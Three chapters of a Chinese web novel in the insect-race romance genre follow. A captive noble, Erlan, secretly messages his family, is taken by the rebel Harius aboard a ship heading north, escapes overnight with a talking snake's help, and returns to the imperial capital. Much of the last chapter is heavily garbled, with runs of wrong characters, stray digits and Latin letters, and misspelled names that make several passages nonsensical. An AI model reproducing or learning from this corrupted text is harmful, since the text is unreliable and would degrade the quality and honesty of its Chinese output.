202、他想让你守活寡 哈琉斯没有回答,他沉默阖上眼眸,睫毛在苍白的脸颊投下一片阴影,仿佛要将整个世界都隔绝在外。就在厄兰以为沉默会永远持续下去时,黑暗中忽然响起了雌虫低沉冷淡的声音,像一把锋利的冰刃划破空气: “我从来不走回头路。” 假如厄兰那天没有救他,他会带着自己的恨死在这个地方。世间万物都在不停地向前奔流,只有哈琉斯的光阴停在了四年前,寸步难行。 他无路可退,也回不了头了。 这就是答案。 夜色总是漫长无尽,安静到极致,甚至能听见港口时隐时现的浪潮声,像是某种无言的叹息。 缄默之海虽然被先祖的誓言撕裂,一半变成了幽暗的怒涛,一半变成了嶙峋的礁岩,可每当暮色降临,月光便会引着潮水,一次又一次漫过那道伤痕,如同神明固执想要弥合那片破碎的海。 哈琉斯今夜的梦境浑噩而又茫然,他在深海中不断下坠,却怎么也游不到尽头,等他好不容易从室息中惊醒,窗外却依旧墨色浓稠,桌角的复古座钟恰好指向五点。 …… 他静默一瞬,然后看了眼身旁还在熟睡的雄虫,悄无声息掀开被子下床,赤足踩在地毯上进了浴室,玻璃门滑上时,连最后一点细微的水声都被隔绝。 镜子里照出哈琉斯冷峻漠然的侧脸,哪怕暖黄的灯光也不能柔和半分,他换上一套纯黑色的作战服,然后动作干脆利落地给配枪换好弹夹塞进腰间,最后穿上一件防水外衣,所有杀意都被妥帖收束在这身看似平常的装束之下。 等再次推门出来时,窗外的夜色已经淡了几分。 哈琉斯淡淡垂眸看了眼手表,走到厨房做了一份早餐,然后拿起一顶黑色的帽子戴上准备离开,临走前目光几不可察地扫过床上那抹熟睡的身影,停顿几秒,这才“咔哒”一声关上房门。 风雨拍打着窗棂,外面的天气依旧恶劣。 厄兰在哈琉斯走后没多久就睁开了双眼,目光清明,哪里有半分混沌。 他昨天晚上原本想说服对方和自己一起回南部,现在看来是不可能了,北部凛冽的风雪天生就滋养反骨,哈琉斯又怎么能例外? 下午的时候,来了两名脸生的侍者过来打扫卫生。 “抱歉先生,因为雾牙港最近搜查严密,导致住客忽然爆满,所以今天的清洁服务晚了几个小时,为表歉意我们给您赠送了一份果盘。” 厄兰斜倚在沙发上,银质面具在灯光下泛着莹润的光泽,他有一下没一下地翻看杂志,对这件事并不感到意外:“没关系,反正我也不是很赶时间。” 埃维的死讯经过一夜时间发酵,现在估计早就传遍了雾牙港,他毕竟是帝都派来的支援指挥官,无缘无故割喉被杀,当地驻军不把港口翻个底朝天才怪。 啊,也不知道哈琉斯出门做什么去了,如果是弄船票,那可就糟糕了。 厄兰思及此处,目光落在那两名笨手笨脚铺床的雌虫侍者身上,他等着其中一名栗色短发的侍者过来擦桌子,随手从抽屉里拿出一小摞现金塞进对方的衣领,声音带着恰到好处的困扰: “抱歉,我忽然想起来自己的通讯器好像坏了,可以把你的借我发个消息吗?” 那名侍者大概是没想到到厄兰如此大方,愣了一瞬才反应过来,他在口袋里摸索半天找出一个黑色通讯器,解锁后递给厄兰,结结巴巴道:“您 您请用。” 厄兰微微一笑,目光在侍者的脸上停留片刻:“麻烦了。” 他接过那枚黑色的通讯器,修长的指尖在键盘上灵活轻点,过了许久才编辑好一条消息点击发送,然后不动声色删除记录,重新归还给对方:“谢谢。” “您客气了。” 侍者匆匆取回通讯器,又和同伴用吸尘器把地面清洗一翻,这才推着小推车离开。 晚上的时候,雾牙港的气氛显得有些风声鹤唳,就连旅馆外面嘈杂的赌博声都停了下来,而哈琉斯却迟迟未归。 厄兰在房间内来回踱步,不知是该担心对方被巡逻队捉了,还是该担心对方已经联 到残余旧部找到了回北部的船,总之哪个听起来都不太妙。 就在他已经思考着要不要趁今晚逃出去的时候,房门外间忽然传来“咔哒”一声轻响— 哈琉斯回来了。 只见对方逆着走廊灯光立在门口,潮湿的寒气裹挟着铁锈般的血腥味扑面而来,身上黑色的作战服已经被雨水浸透,不断往下滴着水,渐渐在脚边汇成一片暗色的水洼,细看带着些许猩红的色泽。 仿佛是怕弄脏房间,哈琉斯脱下身上被浸透的防水外套丢在门口,这才迈步进屋,反手关上房门。 厄兰敏锐嗅到了空气中的血腥气,眉头微皱:“你受伤了?” 哈琉斯没有回答,而是解开腰问配枪扔在桌上,他清冷锐利的容貌在灯光下透着雪山般的惊艳难描,只是雪化之后便露出了底下黑色险峻的山脉,显得危机四伏。 他盯着厄兰漫不经心问道:“今天这间房有谁来过?” 厄兰见他不答,眉梢轻挑,重新坐回椅子:“两个保洁。” “长得漂亮吗?” “什么?” 哈琉斯迈步走到厄兰面前,然后倾身攥住椅子扶手,裹挟着雨水潮气的身影将雄虫完全笼罩其中,他直直盯着厄兰的眼睛,唇边勾起一抹危险的弧度,冰凉的气息拂过耳畔,有些疹得慌: “我问……漂亮吗?” 厄兰挑眉:“什么意思?” 一叠浸着水汽的纸币和黑色通讯器冷不J被扔在桌上,哈琉斯压低嗓音,一字一句玩味问道:“不漂亮……怎么配得上您这么昂贵的小费?” 厄兰注视着雌虫近在咫尺的紫色眼眸,忽然轻笑出声:“谁告诉你的?” 哈琉斯不语,而是缓缓站直身形后退几步,随手拖了张椅子在厄兰对面落座。他修长的双腿慵懒交叠,黑色的作战靴底下还有血迹混合着泥土的印记,垂眸把玩着那个黑色的通讯器,按来按去不知在操作些什么,语气轻描淡写:“说说吧冕下,您今天都往外发了些什么。” 厄兰就像出轨被捉奸了一样,露出一个做作而又受伤的表情:“你不信我?” “我从来就没信过你。” 哈琉斯掀起眼皮看向厄兰,那个巴掌大的黑色通讯器正在他的指尖灵活翻转,语调散漫危险: “这个玩意虽然可以恢复记录,但还挺麻烦的,但愿您能让我省点事。” 他语罢将通讯器的屏幕面向厄兰,在对方眼前轻晃了两下,只见上面有一个进度条,正从23%向着100%缓慢匀速前进。 “恢复前交代一个结果,恢复后交代……就是另一个结果了,嗯?” 厄兰继续一脸受伤:“你说过把我当伴侣的,结果一直暗中防备我,我们这样以后还怎么过日子?!” 哈琉斯就像一个无情的读秒机器,淡淡开口:“32%。” 厄兰:“今天那两个服务员都是你派来的,对不对?” 哈琉斯:“50%。” 厄兰从椅子上站起身,语气谴责:“我以前觉得你是一只很好的雌虫,将来一定会真心对我,但现在我后悔了,等去了北部你肯定会抛弃我的!我死也不可能去北部的,除非你认错道歉!” “死了一样去,”哈琉斯头也不抬,冷静报数,“72%” 厄兰装出一副被气得倒仰的模样:“你到底有没有心,我都这么生气了,你居然还在读进度条?!”房间突然陷入诡异的寂静。哈琉斯确实没有再报数—因为进度条已经跳到了100%。只见屏幕上弹出一条被删除的短信,白底黑字格外刺眼: 【亲爱的雄父: 我失踪的这些天,您和雌父一定担心得彻夜难眠,但请放心,我没有任何生命危险,只是找到了此生挚爱而已。 我以前觉得锦衣玉食很重要,但和他在一起我才发现,原来这些都可以舍弃,哪怕粗茶淡饭我也心甘情愿。我即将和他前往北部开启新的生活,请不要派兵寻找我,也不要为我担心,等到时机成熟的时候,我会带着他一起回来探望你们的。他有一头和雌父一样的银发,相信您一定会像喜欢我一样喜欢他。 —您亲爱的孩子,厄兰维多】 这条短信通篇都充斥着“我是恋爱脑”这几个大字,并且虚伪浮华做作到了极点,哈琉斯也不知是不是被里面的内容给膈应到了,半晌都没说话,他暗紫色的眼眸危险眯起,听不出情绪的问道: “这就是你发的短信?” 厄兰转身看向窗外,一副心被伤透的模样:“我现在不想和你说话,除非你和我道歉认错,否则我死也不可能跟你回北部的。” … 哈琉斯面无表情攥紧通讯器,金属外壳在他掌心发出不堪重负的“吱呀”声,他深吸一口气,用尽最后一丝理智才控制住想把东西砸在地上的冲动, “行。” 他居然真的道歉了,轻笑着吐出一句话, “就当我误会你了,现在立刻收拾东西。” 厄兰疑惑:“去哪儿?” 哈琉斯把两张船票拍在桌上,翘着二郎腿轻飘飘吐出一句不啻于惊雷的话—— “霍斯堡。” 轰隆! 一道闪电骤然划过夜空,刺目的光芒不仅照亮了桌上那两张沾着血迹的船票,更穿透了千里之外帝都国议大厦的落地窗,将正在召开紧急会议的高层领导照得脸色阴晴不定。 “根据前方传来的最新消息,缇宁少将率领的队伍遭到叛军伏击,伤势严重,目前正在就近医院进行治疗,而那些被劫掠的雄虫大部分都没有生命危险,只是依旧没有厄兰冕下的踪迹…… 情报处长站在全息投影前,声音有些发紧,他的目光总是不自觉地瞟向会议桌右侧首位——那里端坐着帝国现任秘书长维多阁下。 即便在这样紧张的氛围中,这位年过四十的雄虫依然保持着令虫惊叹的优雅姿态,岁月似乎对他格外宽容,只在墨色的发梢添了几缕银丝,反而更添成熟稳重。 此刻,维多秘书长正眉心微蹙,轻推鼻梁上的无框眼镜,修长的指尖在光脑屏幕上快速滑动,如果有虫能凑近仔细查看,就会发现他读的赫然是厄兰发来的那封“恋爱脑”短信。 【我失踪的这些天,您和雌父一定担心得彻夜难眠,但请放心,我没有任何生命危险,只是找到了此生挚爱而已。】 维多秘书长一边读,一边用光笔在这句话上打了个圈,并且写下重要信息:能发短信,说明还活着。 此生挚爱?雌虫? 他继续往下看。 【我以前觉得锦衣玉食很重要,但和他在一起我才发现,原来这些都可以舍弃,哪怕粗茶淡饭我也心甘情愿。】 维多秘书长皱眉,在这段话旁边画了一个大大的叉:假话,可能被绑架了。 自己生的虫崽是什么货色难道他还不清楚吗?让厄兰抛弃锦衣玉食,一定比吃虫屎还难。 【我即将和他前往北部开启新的生活。】 也就是说目前还在南部境内,但近两天很可能会启程去北部,最容易躲避追兵的路线是哪一条?黑石湾?雾牙港? 【请不要派兵寻找我。】 一定要派兵找他。 【他有一头和雌父一样的银发,相信您一定会像喜欢我一样喜欢他。】 绑匪是雌虫,银发。 最后那条落款可以忽略。 维多秘书长见会议还在继续讨论着那些枯燥没有营养的口号话题,直接抬手摘下眼镜,用镜布擦拭着上面浅淡的雾气,冷不丁出声道: “抱歉各位,我不得不打断一下。” 情报处长的声音戛然而止:“维多阁下,请问您有什么建议吗?” “不是建议,是命令。” 维多秘书长重新戴好眼镜,起身时真皮座椅发出轻微的声响,镜片闪过一道冷光, “缇宁少将的伤是他无能所致,活着回来要上军事法庭,死了那就罪减一等…不过这些并不重要,今晚第一军就会开赴雾牙港清剿叛军,后勤部做好配合。” 他说完转身欲走,身后却传来一道阻拦的声音: “等等!第一军是帝都防卫核心,就算由您的伴侣索亚上将负责掌管,擅自调动恐怕不合规程吧?况且搜救行动历来是我们第七军的职责!” 维多秘书长停在门口,闻言缓缓侧首,他镜片后的目光如刀锋般扫过那位出声的中将,依稀记得和缇宁所在的家族是同一个派系,声音淡淡: “调令我今晚就会去找联盟总理进行签发,至于第七军……你们营救不力,致使多名雄虫重伤,还是想想该怎么写失职报告吧。” “可是……. 那名中将脸色一白,正准备辩解什么,却被同伴拉住胳膊:“消停会儿吧,都已经坐到这个位置了还看不清形势吗?” 他意味深长道:“你应该知晓,联盟总理常换,而内阁秘书长是不常换的。” 帝都有钱的雄虫很多,有权的却不多,有脑子的就更不多。 好巧不巧,那位秘书长就是其中之一。 办公室的大门开启又关上,像是为今天的会议画上了一个句号,然而那张船票的时间却远比厄兰想象中更快,因为当天晚上就有大概数十名叛军赶到旅馆和哈琉斯汇合,直接护送他们连夜赶往了港口。 当然,厄兰也在其中。 深夜的海岸并不美妙,尤其还下着瓢泼大雨,哪怕穿着雨衣也挡不住四周的寒风,他被迫站在岸边等船,冻得瑟瑟发抖,偏偏还有不长眼的虫往上凑。 “哦~天呐,冕下,真没想到我居然还能在这里见到你。” 这是霍恩格,之前的叛军之一,他最喜欢戴着一张红色笑脸面具晃来晃去,据说以前也是南部雌虫,后面叛逃北部了,侧脸有个和哈琉斯一样的“纪念品”。 “真没想到你居然在哈琉斯手里活了这么久。” 这是维瑟尔,他那张野性面容极具北部特色,蜜糖色的皮肤上画着各式各样金色的图腾,幽绿色的眼眸在夜色中就像狼一样危险,颇为惊讶地打量着厄兰。不用说,今天下午来房间打扫卫生的就是这两个老6。 幸亏厄兰当时眼尖,发现他们脸上贴着一层用来伪装的假皮肤,临时遮掩了一下求救讯息,否则现在坟头草都长三尺高了。 厄兰轻飘飘瞥了他们一眼,冷笑道:“毕竟连你们这种货色都能活这么久,我死了显得多不合群。” 霍恩格还好,维瑟尔可就没那么好的脾气了,他冷冷挑眉,把拳头捏得咯吱作响:“该死的南部佬,你刚才说什么?” 厄兰嗖一声闪到旁边的哈琉斯身后,添油加醋的功夫堪称登峰造极:“哈琉斯,他想打死我让你守活寡!” …… 203、逃亡 “维瑟尔——” 哈琉斯淡淡出声,虽然什么都没说,但里面潜藏的警告气息不言而喻。他任由腥咸的海风将衣角吹得猎猎作响,眉头皱起,盯着不远处渐近的渡轮提醒道道: “别给我惹麻烦。” 北部派来接应的队伍已经买通了凌晨时段巡逻地驻军,但谁也不知道中途会发生什么变故,在这个时候,哈琉斯不希望有任何虫触他的霉头。 就这一声,让维瑟尔的拳头僵在了半空,他指节绷得发白,最终狠狠啐了一口,不甘甩手退开。 厄兰虽然很希望把驻军招过来,但是想想那群散兵游勇的战斗力也就放弃了,别到时候船没拦住,交火的时候还把自己给误伤了。 ——反正他还有秘密杀手锏。 这么一想,厄兰又淡定了下来,站在旁边要多老实就有多老实,这副反常模样引得哈琉斯频频注视,目光难掩探究打量。 忽然间,不知是谁压低声音喊了一句: “船来了!” 那艘渡轮远看的时候不过是个摇晃的黑点但随着距离拉近,它漆黑的轮廓逐渐吞噬了视野,就像一头从深海浮出的钢铁巨兽,汹涌的海浪一波又一波袭来,可它依旧纹丝不动。 “哗啦——!” 伴随着一阵沉重的铁链声响,甲板轰然落下,船头立着的黑色身影也逐渐清晰起来。 那是一名身形强壮的雌虫,肌肉虬结的手臂裸露在黑色背心外,古铜色的皮肤上遍布着深浅不一的疤痕,他站在围栏边做了个上来的手势,沙哑的嗓子像是常年被海风侵蚀的锈铁: “动作快,驻军的海上巡逻队还有半个小时就到了!” 厄兰闻言下意识想回头看一眼身后,手腕却陡然一紧,被哈琉斯冰冷的指尖死死扣住,他耳畔响起雌虫轻飘飘的声音,险些被风声吹散: “不想被我扔下船,就老老实实的。” 厄兰回过神,对他露出一抹无害的微笑,声音甜得像蜜糖一样:“亲爱的,我最老实了~” 哈琉斯没理他,而是径直将厄兰拽上了甲板,霍恩格他们一边持枪警惕着四周,一边倒退上船,伴随着甲板重新收起的声音,这艘庞大的钢铁巨兽终于缓缓调头,在怒涛翻涌的风浪中朝着霍斯堡的方向驶去。 这片被诅咒的海域从未在任何航海图上留下痕迹。 数不清的暗礁利刃般潜伏在水下,吞噬着过往的迷航者,大雾中回荡着幽远古老的鲸歌,如同海妖将水手的心智蚕食殆尽,唯有在海面纵横数十载且经验丰富的星盗,才能在它的领域里讨得一线生机。但即便如此,多数过路者依旧化作珊瑚丛中的白骨,永远长眠在这片缄默的海域深处。 厄兰能明显感觉到哈琉斯的神经一直处于警惕状态,那是一种在尸山血海中淬炼出的本能,就像丛林中捕猎的猛兽,需要随时提防暗处袭来的天敌,这种情况一直到他们上船之后才有所缓解。 “这是你们的房间,如果不出意外,两天后就能抵达北部了。” 之前在船头接应的那名雌虫把他们分别领到各自的舱房里,他粗糙的脚掌踩过甲板,发出年久失修的吱呀声,顺带着把一串钥匙递给哈琉斯: “食物和水就放在房间角落,如果没什么事最好不要出门晃悠,万一被风浪卷走,虫神都救不了你们。” “是吗?“ 哈琉斯漫不经心出声,他伸手接过钥匙放进外套口袋,经过对方身边时淡淡吐出一句话, “但真可惜,我并不信奉虫神。” 外面风雨飘摇,巨浪一遍又一遍拍打着舷窗,哪怕房间里开着灯,也不可避免被窗外浓墨般的阴暗侵蚀了几分,空气中充斤着淡淡的海水咸腥,还有某种鱼类腐烂变质后的气味。 渡轮在一望无际的海面艰难前行,将南部一点点抛向身后。 那里曾是哈琉斯血脉扎根的土壤,如今却成了必须剜去的腐肉,他闭目站在摇晃的船舱中,深邃的眉眼落入阴影,静静感受着旧日信仰从伤口处一点点剥离的痛楚,就像在用钝刀缓慢切割自己的灵魂。 而南部那些沾血的记忆、未寒的尸骨、背叛的誓言,都将随着那些剜出的血肉一起腐烂。 分不清更痛还是更释然…… 哈琉斯在舷窗前静立良久,直到军靴上的雨水在地板上洇开一片深色的水痕,这才缓缓转身。他脱下身上浸湿的外套搭在衣架上,然后在摇曳的阴影中抬眼看向角落 厄兰正斜倚在皮质沙发上小憩,纤长的睫毛在眼下投出一片朦胧的阴影,呼吸平稳,仿佛并不是置身于逃亡的渡轮,而是某个豪华酒店 ………“会。” 真不知道该说这只雄虫心大还是胆肥,这种情况下居然还敢睡着。 哈琉斯悄无声息走到厄兰面前,然后倾身盯着对方风流矜贵的眉眼,大片阴影笼罩下来,周身凛冽的气息一度驱散了空气中腥咸的海水味。 厄兰似有所觉睁开双眼,他看见哈琉斯的时候先是一愣,随即露出一抹笑意:“为什么这么看我?” 其实并没有什么原因。 哈琉斯只是觉得厄兰不该这么平静,平静得让虫时刻怀疑他想作妖。 “我们已经离开南部了。” “我知道。” “你逃不回去了。” “我知道。” 哈琉斯长睫轻垂,距离近到险些碰到厄兰的鼻尖,他不知出于什么心理吐出这句话,语气温柔而又恶劣,带着病态的低笑:“想哭吗?听说北部是雄虫的地狱。” 厄兰懒懒仰头,用比宝石还要瑰丽几分的紫色眼眸注视着哈琉斯,难掩认真:“那么北部会是你的天堂吗?” 哈琉斯冷冷挑眉:“什么?” 厄兰嘴边笑意不变:“哈琉斯,那片冰封之地会成为你的救赎吗?” 哈琉斯缓缓直起身形,用一种晦暗阴凉的目光注视着厄兰,他多想否认,告诉厄兰并不,这四年来的每一天他都像活在地狱里,那种感觉就像火焰炙烤着周身,痛苦到极致连灵魂都在颤抖,晚上只要一闭眼,他脑海中就会浮现出第三军枉死的英灵。 那并非北部凛冽的风雪可以浇熄。 可最终,他薄唇微启,缓慢吐出了一个字: 哈琉斯缓缓倾身,直勾勾盯着厄兰重复了一遍:“会…… 他苍白骨感的双手漫不经心捧住厄兰的脸颊,指腹轻轻摩挲,竟然带着几分说不出的珍视与温柔,像是在捧着什么宝物,声音低低,带着难以言喻的鬼魅气息 “毕竟有你陪着我,难道不是吗?” 这句话听不出什么救赎感。 反而有一种要把他拉下地狱的感觉。 孑然一身并不是一个十分美妙的词,起码哈琉斯就不喜欢,他是用残羹剩饭喂大的孤儿,生来就会争抢自己缺少的一切,那是属于野兽的本能,例如身份,例如地位,例如军功…… 再例如,一个家。 厄兰是南部唯一称得上和他有过羁绊的虫。 也是他在尚未坠入深渊时,曾经触手可及的太阳。 哈琉斯带不走南部的和风细雨,带不走故士的春暖花开,但没关系,他想。只要能把这只虫永远禁锢在身边,在冰冷的北境筑造一个巢穴,那就不算流亡。 至少,不必独自坠入地狱。 厄兰静默一瞬,过了片刻才缓缓笑开,他毫无预兆伸手将雌虫拉进怀里,让对方冰冷带着雨水潮气的身躯坐在自己腿上,然后偏头将脸埋进雌虫颈间,唇瓣贴着对方皮肤下跳动的血管,认真吐出一句话:“当然是。” 他悄无声息收紧双臂,圈住哈琉斯作战服下方柔韧的腰身,温热的呼吸在耳畔萦绕,难掩蛊惑: “我逃不掉了,难道不是吗?” 夜色茫茫无尽,伸手不见五指,海面上的大雾遮蔽了所有视线,渡轮在礁石群中艰难航行,就像一个孤独的探险者,汹涌的浪潮一波接一波拍向船身,没有任何虫会想着在这样的环境下逃跑,就连世界上最蠢的蠢货也不会。哈琉斯不觉得厄兰是蠢货。 夜色依旧浓稠,他们躺在舱房略显拥挤的床铺上入眠,呼吸间尽是沐浴露的香味。哈琉斯感觉到身后多了一具滚烫的身体,条件反射想要往旁边挪,却反被对方伸手抱住。 “别动。” 厄兰用鼻尖抵住哈琉斯的后颈,温热的唇瓣几乎贴上对方冰凉的皮肤,吐息间都是潮湿的雨气,声音带着一种错觉的温柔: “就这样,让我抱抱你…… 舷窗外风浪渐急,在玻璃上蜿蜒成透明的水流。 哈琉斯在黑暗中睁着眼睛,听着身后逐渐平稳的呼吸声,忽然想起很多年前的那个夜晚,他的雌父举枪自尽,在被送往福利院的那段时间,他每晚都会梦到对方这样抱着自己。 但年复一年,记忆中的温度已经开始逐渐冷却,最后只剩下那把黑色的配枪,和满地蔓延的、怎么都洗不净的鲜血…… 这个梦境实在太过漫长,哈琉斯觉得自己仿佛溺在了深海里,明明已经看见水面透下的光,却怎么都挣扎不出这片血色。 当意识终于挣脱梦魇的束缚时,已经是第二天早上了,哈琉斯猛地睁开双眼,胸口剧烈起伏,右手条件反射摸向枕下的配枪——空的。 而床的另一侧,被褥凌乱,余温早已散尽。 他仿佛意识到了什么,脸色一变,立刻掀开被子下床,舱房内果不其然已经不见了厄兰的踪影,旁边的餐桌上,玻璃花瓶折射出一片冷光,压着一张字迹飞扬的纸条【亲爱的哈琉斯: 我认真想了想,自己“虚弱”的身体恐怕并不能适应北部寒冷的风雪,还是温暖的南部更符合我对将来住所的需求。原本想与你当面道别,可惜你昨天睡得格外香甜,所以并没有看见,这可不是个安全的行为,身为你未来的伴侣,我不得不提醒句,下次一定要记得保持清醒。你的配枪我就收下了,暂且当做定情信物,至于你的那一份,我也会认真准备的,不过很可能要过段日子才能给你了。不必担心我会跳海自己游回去,一个不愿意透露姓名的好心朋友已经把我救回了南部,期待我们的重逢。 届时,或许我会亲自来北境娶你?又或者你更愿意主动来南部找我?无论如何,我都十分期待那一天的到来。 ——你亲爱的未婚夫,厄兰.维多】 哈琉斯的指节捏得发白,纸条在他手中皱成一团,舱门外的海鸟叫声突然变得格外刺耳,仿佛在嘲笑他又一次被厄兰这个骗子玩弄于股掌之间。 他没有发出任何声音,连呼吸都仿佛停滞了,舱房内的空气骤然降至冰点,沉重的压迫感弥浸开来,眼底西酿着一种深不见底的、足够毁灭一切的寒意。 良久,哈琉斯终于开口,阴鸷低哑的嗓音在寂静的舱房内响起,一字一顿: “厄兰维多,向你的神明祈祷吧,祈祷我迟一点找到你……则我一定会把子弹当做定情信物,亲手塞进你的心脏。” 204、他的过往 海水寓挟着冰冷刺骨的寒意,一遍又一遍涌上岸边,随着时间悄然流逝,风雨却依旧没有停歇的趋势。 天色如浓墨倾写,把云层与海面浸成了一片混沌的暗沉,偶尔有一只飞鸟掠过海平线,转瞬便被飓风吞入怒涛。 【死】 这样恶劣的天气不适合飞翔,更不适合返航,那样无异于找死。 厄兰浑身温透地从海里钻出来然后步步艰难涉水而行,水珠顺着发档不停滑落,掉在他芒白的缺骨凹陷处,留下一片婉超的水痕。当他爬上岸边时,终于因为力竭供倒在地,然后气端呼叮翻身看向远处。 厄兰抬手将湿透的发丝拢向脑后,漂亮的眉眼因为海水蛰痛微米起,却更显蛊惑心神,唇边那抹笑意格外醒目,带看劫后余生的快意。 为什么不笑?他终于逃出来了。 厄兰思及此处,胸膛发出一阵难以遏制的笑声,到最后连眼泪都快出来了,这才摇摇晃晃站起身。 他站在最高处的雇岸上对着远处一望无际的茫芒海面奋力挥手道别,甚至把食指和中指并龙压在唇上抛了一个器张的6吻,海风卷起他品透的衣摆勾勒出劲度的腰线,后边孤度天真又恶劣 “亲爱的未婚夫,后会有期!” 【期你妈个头!】 厄兰话音未落,后脑就猛地被一条黑蛇尾巴抽了个翅超,他踉跄两步差点栽进海里,捂者脑袋恼怒回头“该死的臭泥鳅,你再打我一下试试?” 他在哈琉斯手里都投挨过打,到现在为止已经快被这条臭蛇抽过两次了,抽使了怎么办?! 黑封施大的乌躯驱在丰空,蝴片4玩的天色下泛有冷确的金属地泽,它无声张开牙,841的基店高临下地J卷后兰,写垃毕箱成一条后位mm0线,难摔芒告味 【我始你最后一次机会,要么现在就去完成任务攻略缇宁,要么】 它黑色的蛇尾无声扬起,冰冷的鳞片泛着杀气,仿佛下一秒就会把他重新抽进海里喂鱼。 “少成胁我。” 厄兰唇角微勾,一点也不吃这套, “鉴于你刚才飞到一半就把我中途扔下海,很有可能引起伤风感冒,我决定先休息十天半个月再决定要不要做任务 哦,对了,如果你等不了这么久,现在把我杀了也行。” 他语罢不顾气得浑身发抖的黑蛇,1效物0脱下身上的湿外套搭在肩头,直接转身朝着驻军所在的营地走了过去。 最快今天,最晚明天,雄父派来的营救队伍就会抵达雾牙港,而那艘开往北部的船最快三天才能到,并且中途不能返航,一来一回怎么也要六天时间。 厄兰十分确信,哈疏斯追不上来。 但心底有个声音一直在反复响起。他们终会再见,不是在风雪浸天的北部,而是在温暖如春的南部。 世界足条行E的三蛇,在时光的长加中国而复络始动,形那些国在往事里的执念,那在血债中的亡魂,络格在命运达连轮的D以岭处重庄,就像远行者无论走过多少5格,经完要回国录/初的起点 远离故士并不能使哈疏斯获得永生,而他的救赎也不该往北部去寻。 “4啦——!” 海浪猛烈拍打着崖壁,将岸边嶙峋的礁石彻底淹没,远远望去亲密融洽,一如数万年前,南北本为一体。 厄三在驻军长白成8件中底过了之味的一夜,第一天就上了《在部的里朝舰,因为雄多秘书长和东亚上将身份特殊,不自随言高开部,所以全程都由第一军的两珀上所负责护送 “冕下,星舰将于六小时三十二分后在帝都中心降落,时间还早,您可以先睡会L。“ 面容日临温准,。车21M彬有礼孔,带石由部性中的典型特证,。他传立在侧。尽职尽武完成若秦亚上将交造0f务,放直连位T西H的于手所角度超都经过椅确+算计中邮不出任何踱应 厄兰此刻已经换了一身干净衣服,蔚蓝的宝石袖D低调中适看客华。他修长的双服交母,做京在按摩椅上,墨色的发丝用条织金丝带扎起,侧客在向头,看起来高责典雅,果然无怏于在帝国最负盛名的美貌. “听说第七军还在雾牙港进行搜捕任务?” “是的冕下。” 厄兰端起丝红酒杯轻抿了一口,目光始终未离开面前悬浮的光脑书影,他修长的手指在新国界面上缓情滑动,不紧不慢刘迄者自己失踪期回帝部都的种种动向。 “让那群蠢货撤回来吧,”他的声音轻得像一声叹息,漫不经心开口,“他们抓不住的。” 阿珀微微偏头,下意识追问:“谁?” 厄兰眉档轻挑“哈疏斯,你不认识吗?现在南部星网上铺天盖地都是他的通缉令,恐怕连路边的蚂蚁都能认出他那张脸了。” 阿珀慢半拍回神“原来是他,确实,以第七军的实力想要抓住他还有些困难。” 厄兰的声音听出了几分兴味“怎么,你们认识?” 阿珀回忆了一瞬“不算认识,只不过曾经就读同一所较校,他是那届唯一科目全A的军雌,枪械封击和格斗的分解视频至今还在当做教材使用,校长曾经预言他在军部B的前途不可限量,可惜“ 他话未说尽,浅笑了一下,但谁都明白后面的意思。 “我倒不这么认为。”厄兰仰头将红酒一饮而尽,然后把空杯递给阿珀,他放平躺椅,闭上双眼意味深长道“说不定你们校长的话是正确的。” 阿珀闻言接过酒杯的动作微不可察停顿了一瞬,却见厄兰闭着眼晴懒赖出声:“和我讲讲有关他的事吧,反正闲着也是闲着。 阿珀稍显为难“冕下,我知道的可能不多。 厄兰声音淡淡:“没关系,随意。” 红酒有助眠功效,喝多了使得大脑有些倦懒,飞行器缓慢穿过云层,留下一片拖曳的痕迹,内舱里静得出奇,一时只能听见阿珀零零碎碎的回忆叙述。 “索亚。””他 在军校时就是个异类,从不参加任何社交活动,却总能在实战演习中让所有虫心服口服。” "从来不乱花钱,也不谈恋爱,好像每个月的津贴都会往福利院寄一份……. “有一次军校举行野外生存训练,他独自在最危险的沼泽区待了半个月,出来的时候军身都是血“ 的声音所新化作了值旺的白师音,在西结的作用下,厄兰的忘始群浮,那些T施所的)片段保越乡拉过的平云,看得见,技不者. 暴雨中独自训练的身影,沉默寡言的性格,永远比标准高出30%的射击成绩 这些碎片在梦境中重组又散开,拼凑出了哈疏斯当年的模样。 星舰在云层中平稳航行,驾驶艳的导航图上,代表着目的地的光点距离越来越近,当耳机里响起驾驶员提示即将降落的声音时,厄兰适时睁开了双眼。 抵达帝都了么 真是久违 他闭目捏了捏鼻梁,这才掀开毯子起身,在阿珀的陪同下走出星舰。 因为厄兰身份特殊,早在星舰降落前的半个小时停机坪就已经被特意清空,只有一队精锐驻军在下方等候,维多秘书长和索亚上将也推掉了事务前来接机。 厄兰刚步下星舰,最先看见的就是他们两个,尚未来得及开口打招呼,那抹穿着军装的白色身影便已快步上前,将他一把搂入怀中,力道大得连指尖都在颠斗,红着眼睛哑声道 “厄兰,你终于回来了,知不知道雌交父这些日子多担心你,怎么样,你有没有受伤?” 由部单虫在场上5或年区焊异常,(但在雄主和中电面的总是会控制不伍流燕出软失态的面,“例血比现在,维多秘书长只足站在旁边轻女了扶服线,亚上将即三经心疼得连眼目都快掉下来了。 “雌父,我很好,请不用太过担心。” 厄兰早就猜到雌父会是这副表情,语气熟练的开口安慰,并把目光转向一旁的维多秘书长,唇角微扬,打了声招呼:“雄父,我回来了。” “嗯,回来就好。” 维多秘书长虽然情绪淡淡,镜片后的目光却柔和了几分,他搭住伴侣的肩膀轻轻将对方拉回身旁,压低声音安慰道“索亚,厄兰平安回家是好事,我们应该高兴才对。” 厄兰烟紫色的眼眸和墨色的发丝全部承袭于他,不难想象维多秘书长年轻时俊美的容貌,哪怕现在鬓染银丝,也只是让他增添了几分岁月沉淀过后的稳重,更不提他在政界翻云覆雨的手腕. 索亚上将年轻时爱这只雄虫爱得几近疯魔痴狂,这么多年也不曾变过,自然对他们唯的虫崽视若珍宝,闻言情绪总算平复了几分,只是眼眶依旧泛红,冷冽的蓝色瞳仁难掩杀气“雄主,千万不能放过那群北部叛军。” 维多秘书长轻拍他的肩膀“当然,不过这件事需要从长计议。” 索亚上将不甘开口:“可是…” 维多秘书长轻轻开口,虽然什么都设说,却让情绪处于前断边缘的雌虫瞬间安静了下来,因为知道伴侣年轻时在战场上留下了后遗症,导致精神常年处于紧细不稳的状态,所以他说话总是温声细语的“我答应你,一定会彻查这件事,不过现在最重要的是厄兰回家,我们先带他回去休息,好吗?” 索亚上将间言只好深吸一口气,闭目抵着雄主的肩膀无声点了点头。 但维多秘书长没想到大的刚哄好,小的又出幺蛾子了。 